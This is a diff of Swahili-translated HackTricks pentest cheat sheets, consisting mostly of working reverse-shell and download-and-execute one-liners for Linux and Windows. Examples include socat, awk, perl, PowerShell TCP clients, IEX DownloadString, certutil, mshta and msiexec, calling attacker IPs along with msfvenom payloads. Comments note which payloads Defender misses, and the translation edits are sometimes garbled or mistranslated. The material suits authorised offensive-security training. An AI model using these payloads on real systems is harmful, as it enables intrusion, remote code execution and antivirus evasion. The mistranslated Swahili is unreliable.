attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||||
```
|
```
|
||||||
### Reverse shell
|
### Reverse shell
|
||||||
|
|
||||||
### Kitanzi cha Nyuma
|
|
||||||
```bash
|
```bash
|
||||||
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
|
||||||
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||||
```
|
```
|
||||||
## Awk
|
## Awk
|
||||||
|
|
||||||
|
Awk ni lugha ya programu iliyoundwa haswa kwa ajili ya kuchambua na kuchakata maandishi. Inaweza kutumika kama sehemu ya mnyororo wa zana za kuchakata data kwenye mifumo ya Unix. Awk inaweza kusoma na kuchakata faili za maandishi kwa urahisi, na inaweza pia kutumiwa kama lugha ya skripti kwa kufanya kazi za kawaida za Unix.
|
||||||
```bash
|
```bash
|
||||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||||
```
|
```
|
||||||
|
@ -288,7 +295,7 @@ while true; do nc -l 79; done
|
||||||
```
|
```
|
||||||
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
|
Kutuma amri andika chini, bonyeza 'enter' na bonyeza CTRL+D (kusimamisha STDIN)
|
||||||
|
|
||||||
**Mnajisi**
|
**Mnajimu**
|
||||||
```bash
|
```bash
|
||||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done
|
||||||
|
|
||||||
|
@ -296,7 +303,7 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | gre
|
||||||
```
|
```
|
||||||
## Gawk
|
## Gawk
|
||||||
|
|
||||||
Gawk ni chombo cha nguvu cha kutumia lugha ya programu ya Awk kwa kufanya uchambuzi wa maandishi. Inaweza kutumika kama kabu ya amri au kama sehemu ya script ya bash kwa uchambuzi wa data ya maandishi.
|
## Gawk
|
||||||
```bash
|
```bash
|
||||||
#!/usr/bin/gawk -f
|
#!/usr/bin/gawk -f
|
||||||
|
|
||||||
|
@ -348,9 +355,15 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
||||||
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
* [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/)
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
|
@ -358,6 +371,6 @@ Njia nyingine za kusaidia HackTricks:
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,18 +2,26 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Njia nyingine za kusaidia HackTricks:
|
Njia nyingine za kusaidia HackTricks:
|
||||||
|
|
||||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
**Kikundi cha Usalama cha Try Hard**
|
||||||
|
|
||||||
|
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||||
|
|
||||||
|
***
|
||||||
|
|
||||||
## Lolbas
|
## Lolbas
|
||||||
|
|
||||||
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa linux.\
|
Ukurasa [lolbas-project.github.io](https://lolbas-project.github.io/) ni kwa Windows kama [https://gtfobins.github.io/](https://gtfobins.github.io/) ni kwa linux.\
|
||||||
|
@ -25,7 +33,7 @@ nc.exe -e cmd.exe <Attacker_IP> <PORT>
|
||||||
```
|
```
|
||||||
## SBD
|
## SBD
|
||||||
|
|
||||||
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat ulioumovu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
|
**[sbd](https://www.kali.org/tools/sbd/) ni mbadala wa Netcat uliounganifu na salama**. Inafanya kazi kwenye mifumo inayofanana na Unix na Win32. Ikiwa na sifa kama encryption imara, utekelezaji wa programu, bandari za chanzo zinazoweza kubadilishwa, na uunganisho endelevu, sbd hutoa suluhisho la kipekee kwa mawasiliano ya TCP/IP. Kwa watumiaji wa Windows, toleo la sbd.exe kutoka usambazaji wa Kali Linux linaweza kutumika kama mbadala thabiti wa Netcat.
|
||||||
```bash
|
```bash
|
||||||
# Victims machine
|
# Victims machine
|
||||||
sbd -l -p 4444 -e bash -v -n
|
sbd -l -p 4444 -e bash -v -n
|
||||||
|
@ -44,7 +52,7 @@ C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('1
|
||||||
```
|
```
|
||||||
## Perl
|
## Perl
|
||||||
|
|
||||||
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kujenga shellcode kwa mifumo ya Windows.
|
Perl ni lugha ya programu ambayo inaweza kutumika kwa ufanisi kwa kujenga shellcode kwa mifumo ya Windows.
|
||||||
```bash
|
```bash
|
||||||
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
perl -e 'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
||||||
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"ATTACKING-IP:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
|
||||||
|
@ -58,7 +66,7 @@ ruby -rsocket -e 'c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.pope
|
||||||
```
|
```
|
||||||
## Lua
|
## Lua
|
||||||
|
|
||||||
### Swahili Translation
|
Lua ni lugha ya programu ya scripting inayotumika sana kwa madhumuni mbalimbali ikiwa ni pamoja na maendeleo ya michezo, automatisering ya taratibu, na zaidi. Lua inaweza kuingizwa kwenye programu zingine kama sehemu ya kusaidia kutoa utendaji wa ziada au kubadilika. Lua inajulikana kwa urahisi wake wa kujifunza na kutumia.
|
||||||
```bash
|
```bash
|
||||||
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
|
||||||
```
|
```
|
||||||
|
@ -70,7 +78,7 @@ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -node
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response
|
||||||
```
|
```
|
||||||
Mnajisi
|
Mnufaika
|
||||||
```bash
|
```bash
|
||||||
#Linux
|
#Linux
|
||||||
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
|
@ -79,6 +87,8 @@ openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_clien
|
||||||
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>
|
||||||
```
|
```
|
||||||
## Powershell
|
## Powershell
|
||||||
|
|
||||||
|
Powershell ni lugha ya skripti iliyotengenezwa na Microsoft kwa ajili ya kufanya kazi na mifumo ya Windows. Inaweza kutumika kama zana ya ufuatiliaji na kudhibiti mifumo, pamoja na kutekeleza amri za mfumo. Powershell inaweza kutumika kwa ufanisi katika mazingira ya uchunguzi wa kimtandao na udukuzi.
|
||||||
```bash
|
```bash
|
||||||
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
|
||||||
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/ipw.ps1')"
|
||||||
|
@ -86,16 +96,16 @@ Start-Process -NoNewWindow powershell "IEX(New-Object Net.WebClient).downloadStr
|
||||||
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile
|
||||||
```
|
```
|
||||||
Mchakato unaoendesha wito wa mtandao: **powershell.exe**\
|
Mchakato unaoendesha wito wa mtandao: **powershell.exe**\
|
||||||
Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali nilipoweza kupata kwa kutumia procmon!_)
|
Mzigo ulioandikwa kwenye diski: **HAPANA** (_angalau mahali ambapo sikuweza kupata kwa kutumia procmon!_)
|
||||||
```bash
|
```bash
|
||||||
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
powershell -exec bypass -f \\webdavserver\folder\payload.ps1
|
||||||
```
|
```
|
||||||
Mchakato unaoendesha wito wa mtandao: **svchost.exe**\
|
**Mchakato unafanya wito wa mtandao: svchost.exe**\
|
||||||
Payload iliyoandikwa kwenye diski: **Hifadhi ya ndani ya mteja wa WebDAV**
|
**Malipo yaliyoandikwa kwenye diski: WebDAV mteja wa akiba ya ndani**
|
||||||
```bash
|
```bash
|
||||||
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
|
||||||
```
|
```
|
||||||
**Pata habari zaidi kuhusu Mabakuli tofauti ya Powershell mwishoni mwa hati hii**
|
**Pata habari zaidi kuhusu Mabakuli ya Powershell tofauti mwishoni mwa hati hii**
|
||||||
|
|
||||||
## Mshta
|
## Mshta
|
||||||
|
|
||||||
|
@ -111,11 +121,11 @@ mshta http://webserver/payload.hta
|
||||||
```bash
|
```bash
|
||||||
mshta \\webdavserver\folder\payload.hta
|
mshta \\webdavserver\folder\payload.hta
|
||||||
```
|
```
|
||||||
#### **Mfano wa kabibi ya nyuma ya hta-psh (tumia hta kupakua na kutekeleza mlango wa nyuma wa PS)**
|
#### **Mfano wa ganda la nyuma la hta-psh (tumia hta kupakua na kutekeleza mlango wa nyuma wa PS)**
|
||||||
```xml
|
```xml
|
||||||
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
<scRipt language="VBscRipT">CreateObject("WscrIpt.SheLL").Run "powershell -ep bypass -w hidden IEX (New-ObjEct System.Net.Webclient).DownloadString('http://119.91.129.12:8080/1.ps1')"</scRipt>
|
||||||
```
|
```
|
||||||
**Unaweza kupakua na kutekeleza kwa urahisi sana koadic zombie ukitumia stager hta**
|
**Unaweza kupakua na kutekeleza kwa urahisi sana zomu ya Koadic kwa kutumia stager hta**
|
||||||
|
|
||||||
#### mfano wa hta
|
#### mfano wa hta
|
||||||
|
|
||||||
|
@ -153,6 +163,8 @@ var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||||
</scriptlet>
|
</scriptlet>
|
||||||
```
|
```
|
||||||
#### **Mshta - Metasploit**
|
#### **Mshta - Metasploit**
|
||||||
|
|
||||||
|
Mshta ni zana ya Windows inayotumiwa kutekeleza HTML Applications (HTA). Mshta inaweza kutumika kama backdoor kwa kuanzisha shell ya amri kwenye mfumo uliolengwa. Metasploit inatoa moduli ya msfvenom kuzalisha payload ya Mshta kwa madhumuni ya kuingiza shell kwenye mfumo wa lengo.
|
||||||
```bash
|
```bash
|
||||||
use exploit/windows/misc/hta_server
|
use exploit/windows/misc/hta_server
|
||||||
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
msf exploit(windows/misc/hta_server) > set srvhost 192.168.1.109
|
||||||
|
@ -264,7 +276,7 @@ Pakua B64dll, itafsiri na kuitekeleza.
|
||||||
```bash
|
```bash
|
||||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll
|
||||||
```
|
```
|
||||||
Pakua B64exe, itafsiri na kuitekeleza.
|
Pakua B64exe, itafsiri na tekeleza.
|
||||||
```bash
|
```bash
|
||||||
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe
|
||||||
```
|
```
|
||||||
|
@ -279,7 +291,7 @@ powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.2.0
|
||||||
```bash
|
```bash
|
||||||
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
msfvenom -p cmd/windows/reverse_powershell lhost=10.2.0.5 lport=4444 -f vbs > shell.vbs
|
||||||
```
|
```
|
||||||
**Imegunduliwa na msimamizi**
|
**Imegunduliwa na msaliti**
|
||||||
|
|
||||||
## PS-Bat
|
## PS-Bat
|
||||||
```bash
|
```bash
|
||||||
|
@ -295,7 +307,7 @@ impacket-smbserver -smb2support kali `pwd`
|
||||||
```bash
|
```bash
|
||||||
\\10.8.0.3\kali\shell.bat
|
\\10.8.0.3\kali\shell.bat
|
||||||
```
|
```
|
||||||
**Kugunduliwa na msimamizi**
|
**Kugunduliwa na mtetezi**
|
||||||
|
|
||||||
## **MSIExec**
|
## **MSIExec**
|
||||||
|
|
||||||
|
@ -304,7 +316,7 @@ Mshambuliaji
|
||||||
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.2.0.5 lport=1234 -f msi > shell.msi
|
||||||
python -m SimpleHTTPServer 80
|
python -m SimpleHTTPServer 80
|
||||||
```
|
```
|
||||||
Mfano:
|
Mnajisi:
|
||||||
```
|
```
|
||||||
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
victim> msiexec /quiet /i \\10.2.0.5\kali\shell.msi
|
||||||
```
|
```
|
||||||
|
@ -339,7 +351,7 @@ var r = new ActiveXObject("WScript.Shell").Run("cmd.exe /c echo IEX(New-Object N
|
||||||
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
cmd /V /c "set MB="C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe" & !MB! /noautoresponse /preprocess \\webdavserver\folder\payload.xml > payload.xml & !MB! payload.xml"
|
||||||
```
|
```
|
||||||
Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell.\
|
Unaweza kutumia mbinu hii kukiuka Orodha ya Maombi na vizuizi vya Powershell.exe. Kama utaulizwa na kifaa cha PS shell.\
|
||||||
Pakua hii na itekeleze: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
Pakua hii na kuitekeleza: [https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj](https://raw.githubusercontent.com/Cn33liz/MSBuildShell/master/MSBuildShell.csproj)
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe MSBuildShell.csproj
|
||||||
```
|
```
|
||||||
|
@ -351,7 +363,7 @@ Kusanya msimbo wa C# kwenye mashine ya mwathiriwa.
|
||||||
```
|
```
|
||||||
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:shell.exe shell.cs
|
||||||
```
|
```
|
||||||
Unaweza kupakua kaboti ya C# ya nyuma hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
Unaweza kupakua kaboti ya nyuma ya msingi ya C# kutoka hapa: [https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc](https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc)
|
||||||
|
|
||||||
**Haitambuliwi**
|
**Haitambuliwi**
|
||||||
|
|
||||||
|
@ -381,7 +393,7 @@ odbcconf /s /a {regsvr \\webdavserver\folder\payload_dll.txt}
|
||||||
|
|
||||||
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
[https://github.com/samratashok/nishang](https://github.com/samratashok/nishang)
|
||||||
|
|
||||||
Katika folda ya **Mabakuli**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya script na ongeza mwishoni mwa faili:
|
Katika folda ya **Shells**, kuna mabakuli mengi tofauti. Ili kupakua na kutekeleza Invoke-_PowerShellTcp.ps1_ fanya nakala ya hati na ongeza mwishoni mwa faili:
|
||||||
```
|
```
|
||||||
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444
|
||||||
```
|
```
|
||||||
|
@ -389,21 +401,21 @@ Anza kutumikia script kwenye seva ya wavuti na uitekeleze kwenye mwisho wa muath
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex"
|
||||||
```
|
```
|
||||||
Defender haiichunguzi kama msimbo mbaya (bado, 3/04/2019).
|
Defender haiigundui kama nambari inayoweza kudhuru (bado, 3/04/2019).
|
||||||
|
|
||||||
**TODO: Angalia mabaka mengine ya nishang**
|
**TODO: Angalia mabakuli mengine ya nishang**
|
||||||
|
|
||||||
### **PS-Powercat**
|
### **PS-Powercat**
|
||||||
|
|
||||||
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
[**https://github.com/besimorhino/powercat**](https://github.com/besimorhino/powercat)
|
||||||
|
|
||||||
Pakua, anzisha mtandao wa wavuti, anzisha msikilizaji, na tekeleza kwenye mwisho wa mhanga:
|
Pakua, anzisha seva ya wavuti, anzisha msikilizaji, na itekeleze kwenye mwisho wa mhanga:
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd"
|
||||||
```
|
```
|
||||||
Defender haidhinishi kuwa ni msimbo mbaya (bado, 3/04/2019).
|
Defender haiigundui kama msimbo mbaya (bado, 3/04/2019).
|
||||||
|
|
||||||
**Chaguo nyingine zinazotolewa na powercat:**
|
**Chaguzi zingine zinazotolewa na powercat:**
|
||||||
|
|
||||||
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
Bind shells, Reverse shell (TCP, UDP, DNS), Port redirect, upload/download, Generate payloads, Serve files...
|
||||||
```
|
```
|
||||||
|
@ -448,7 +460,7 @@ Anza server ya wavuti ikitoa faili ya _powershell\_attack.txt_ na tekeleza kwa m
|
||||||
```
|
```
|
||||||
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
powershell -exec bypass -c "iwr('http://10.2.0.5/powershell_attack.txt')|iex"
|
||||||
```
|
```
|
||||||
**Imedetektiwa kama nambari ya malicious**
|
**Imedaiwa kuwa msimbo mbaya**
|
||||||
|
|
||||||
## Zaidi
|
## Zaidi
|
||||||
|
|
||||||
|
@ -466,9 +478,15 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS console na moduli za PS za
|
||||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md)
|
